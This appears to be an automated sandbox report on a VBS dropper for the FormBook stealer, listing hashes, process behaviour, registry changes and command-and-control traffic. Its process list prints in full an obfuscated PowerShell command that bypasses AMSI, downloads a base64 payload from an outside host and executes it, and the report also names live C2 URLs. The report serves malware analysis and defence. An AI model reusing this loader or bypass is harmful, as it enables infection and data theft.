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File name:

0124.doc_Client.vbs

Full analysis: https://app.any.run/tasks/43752327-6c32-4206-a4ed-466cb4af4494
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Malware Trends Tracker     >>>
Analysis date: January 24, 2022, 19:52:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
formbook
stealer
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF line terminators
MD5:

5E605629FBD78A3204A3F6F3D1834C3C

SHA1:

94487ED76A8B8CF6E4B5E5D2A848F490EDFD0122

SHA256:

DD35C7E4A25DB4559824CB76CFEB4310C796348DF2489C1FFFB698D3A8159B9F

SSDEEP:

192:CN0/2qhwbNME0z1yR9q2Jh9tp3F5l9tWwo:CKvKpME0zwo2Jh9tpV5l9tE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses SVCHOST.EXE for hidden code execution

      • Explorer.EXE (PID: 1096)

    • FORMBOOK was detected

      • Explorer.EXE (PID: 1096)

    • Connects to CnC server

      • Explorer.EXE (PID: 1096)

  • SUSPICIOUS

    • Reads the computer name

      • WScript.exe (PID: 1456)
      • Powershell.exe (PID: 3584)

    • Checks supported languages

      • WScript.exe (PID: 1456)
      • Powershell.exe (PID: 3584)

    • Executes scripts

      • Explorer.EXE (PID: 1096)

    • PowerShell script executed

      • Powershell.exe (PID: 3584)

    • Executed via WMI

      • Powershell.exe (PID: 3584)

    • Reads Environment values

      • Powershell.exe (PID: 3584)
      • svchost.exe (PID: 2632)

    • Starts CMD.EXE for commands execution

      • svchost.exe (PID: 2632)

  • INFO

    • Checks Windows Trust Settings

      • WScript.exe (PID: 1456)
      • Powershell.exe (PID: 3584)

    • Reads settings of System Certificates

      • Powershell.exe (PID: 3584)

    • Checks supported languages

      • calc.exe (PID: 2432)
      • svchost.exe (PID: 2632)
      • cmd.exe (PID: 3732)

    • Reads the computer name

      • calc.exe (PID: 2432)
      • svchost.exe (PID: 2632)

    • Manual execution by user

      • svchost.exe (PID: 2632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe calc.exe no specs svchost.exe no specs cmd.exe no specs #FORMBOOK explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
1456"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\0124.doc_Client.vbs"C:\Windows\System32\WScript.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3584Powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like '*Context') {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1);$394522766385394522766385394522766385394522766385=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,100,114,111,112,109,98,46,99,111,109,47,102,105,108,101,115,47,48,52,51,48,53,99,52,57,97,51,97,48,51,98,97,52,51,57,52,53,50,50,55,54,54,51,56,53,53,53,48,97,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($394522766385394522766385394522766385394522766385)|I`E`XC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
2432"{Path}"C:\WINDOWS\syswow64\calc.exe—Powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Calculator
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2632"C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe—Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3732/c del "C:\WINDOWS\syswow64\calc.exe"C:\Windows\System32\cmd.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1096C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE
—
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
5 420
Read events
5 350
Write events
70
Delete events
0

Modification events

(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000003B010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A80164000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000003C010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A80164000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3584) Powershell.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
Executable files
0
Suspicious files
6
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3584Powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:D3C284009A5790C3AA90D7C5D620CA65
SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39
3584Powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27binary
MD5:14C55843039B73DE83EA222B1D185392
SHA256:06870EADA394BC09621A2B30A618819472A6A43A0E495D7CA8B777F2EB8C11EB
3584Powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27der
MD5:494A7483CEAF488A79CB45418E88ECCD
SHA256:9A65904F97742B3D8844EFAFCE7D9E9DA7C1B96A8FDE541E718768AE68293D50
3584Powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fav[1].jpgtext
MD5:41A71BB6C1AFCF5EB48553B868B245F4
SHA256:A0233BAFE96FACD58D2E59B4BD78DAA19CA02F6CF47FD57A6D76AEF9EE8D5EB3
3584Powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:F31D349FBCE35F32076463791FB2C3CD
SHA256:233DB2B33AABD9C0442492E96AA5BD6A87AF308665077E7572CE2058F67BE792
3584Powershell.exeC:\Users\admin\AppData\Local\Temp\zhwzkyko.42f.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
3584Powershell.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157compressed
MD5:F7DCB24540769805E5BB30D193944DCE
SHA256:6B88C6AC55BBD6FEA0EBE5A760D1AD2CFCE251C59D0151A1400701CB927E36EA
3584Powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivedbf
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3584Powershell.exeC:\Users\admin\AppData\Local\Temp\dkung0f0.gco.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
12
DNS requests
19
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1096
Explorer.EXE
GET
—
154.12.45.94:80
http://www.sdgljx.net/m16a/?bvh=mMovUfeSKI1m/89gXuPa6JyvCdCSfNfWVVr+A356xN8OBipzMNYnPjbs2oCZWrXK01zyhw==&D8mTR=7nHL_rzhffpL
US
—
—
malicious
1096
Explorer.EXE
GET
403
34.102.136.180:80
http://www.streamingpremiumpty.xyz/m16a/?bvh=pCw9MYkzbi0S4g329bVhmy2fAc3lUkPC5VmjmpL0jFvY6bbTaiMhBe+fhJLGpBrDAIShuA==&D8mTR=7nHL_rzhffpL
US
html
300 b
whitelisted
3584
Powershell.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAo3h2ReX7SMIk79G%2B0UDDw%3D
US
der
1.47 Kb
whitelisted
1096
Explorer.EXE
GET
301
31.170.166.128:80
http://www.vizminingcorp.com/m16a/?D8mTR=7nHL_rzhffpL&bvh=770TI2qWQJ5X+JhQFi/0u/C/MezrGlcqaWAlXIhkWp7lYgLuoyL36W6qZOWI69IsLpD4hQ==
US
html
707 b
malicious
1096
Explorer.EXE
GET
301
13.251.214.150:80
http://www.mbcorp.xyz/m16a/?bvh=RPHc8knBDYTG6qNHDnUKiVm7mHSXdI6I/sA9Bt2M94/RtgkiNbm7RvtuVcl1IUGMl7FDrQ==&D8mTR=7nHL_rzhffpL
SG
html
163 b
malicious
1096
Explorer.EXE
GET
403
34.102.136.180:80
http://www.babylouwray.biz/m16a/?D8mTR=7nHL_rzhffpL&bvh=q6y+niRX7Hv8VaEQVv65V2MWovDntbcEwNhkYCNvOSnLXGh9afIhbfZMdvsmw0+k9848uw==
US
html
300 b
whitelisted
1096
Explorer.EXE
GET
404
216.18.208.202:80
http://www.wu6eeijb908c.xyz/m16a/?D8mTR=7nHL_rzhffpL&bvh=L4iTDC7toWqlBdOJ2pcLhl2FA6XWy3E6CTZTIOqACjgm1l2+gXb1pjkNtAB3pOtARspW4A==
US
html
266 b
malicious
1096
Explorer.EXE
GET
200
38.26.173.82:80
http://www.btwlhsp.com/m16a/?bvh=yKUx4gm0WImkgJFSH2V1B4+DZ1TxKjSB2yxLFtEF9QTKKkkYqzmusXWeeEGS1GRsDX9L5Q==&D8mTR=7nHL_rzhffpL
US
html
1.61 Kb
malicious
3584
Powershell.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?7667b4644111fbc6
US
compressed
4.70 Kb
whitelisted
1096
Explorer.EXE
GET
301
52.246.138.23:80
http://www.ml5568.com/m16a/?D8mTR=7nHL_rzhffpL&bvh=M/i1uFS6dyvRs1fIqEuiBDpdOjbn1fUsK7sqk3UbQuDMsM2bmvn1Og/T7r+uuvqG8bHLFg==
HK
html
166 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3584
Powershell.exe
93.184.221.240:80
ctldl.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3584
Powershell.exe
104.21.235.159:443
dropmb.com
Cloudflare Inc
US
unknown
3584
Powershell.exe
104.21.235.160:443
dropmb.com
Cloudflare Inc
US
suspicious
3584
Powershell.exe
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
1096
Explorer.EXE
154.12.45.94:80
www.sdgljx.net
Cogent Communications
US
malicious
—
—
31.170.166.128:80
www.vizminingcorp.com
Hostinger International Limited
US
malicious
1096
Explorer.EXE
52.246.138.23:80
www.ml5568.com
Microsoft Corporation
HK
malicious
1096
Explorer.EXE
34.102.136.180:80
www.babylouwray.biz
—
US
whitelisted
1096
Explorer.EXE
38.26.173.82:80
www.btwlhsp.com
Cogent Communications
US
malicious
1096
Explorer.EXE
13.251.214.150:80
www.mbcorp.xyz
Amazon.com, Inc.
SG
malicious

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.78
whitelisted
dropmb.com
  • 104.21.235.159
  • 104.21.235.160
whitelisted
dns.msftncsi.com
  • 131.107.255.255
shared
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted
www.ml5568.com
  • 52.246.138.23
unknown
www.sdgljx.net
  • 154.12.45.94
unknown
www.sanyayulang.xyz
  • —
unknown
www.laboratoriobiobactpvca.com
  • —
unknown
www.vizminingcorp.com
  • 31.170.166.128
unknown

Threats

PID
Process
Class
Message
1096
Explorer.EXE
Generic Protocol Command Decode
SURICATA HTTP Unexpected Request body
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
Generic Protocol Command Decode
SURICATA HTTP Unexpected Request body
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
1096
Explorer.EXE
Generic Protocol Command Decode
SURICATA HTTP Unexpected Request body
1096
Explorer.EXE
A Network Trojan was detected
ET TROJAN FormBook CnC Checkin (GET)
No debug info
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0124.doc_Client.vbs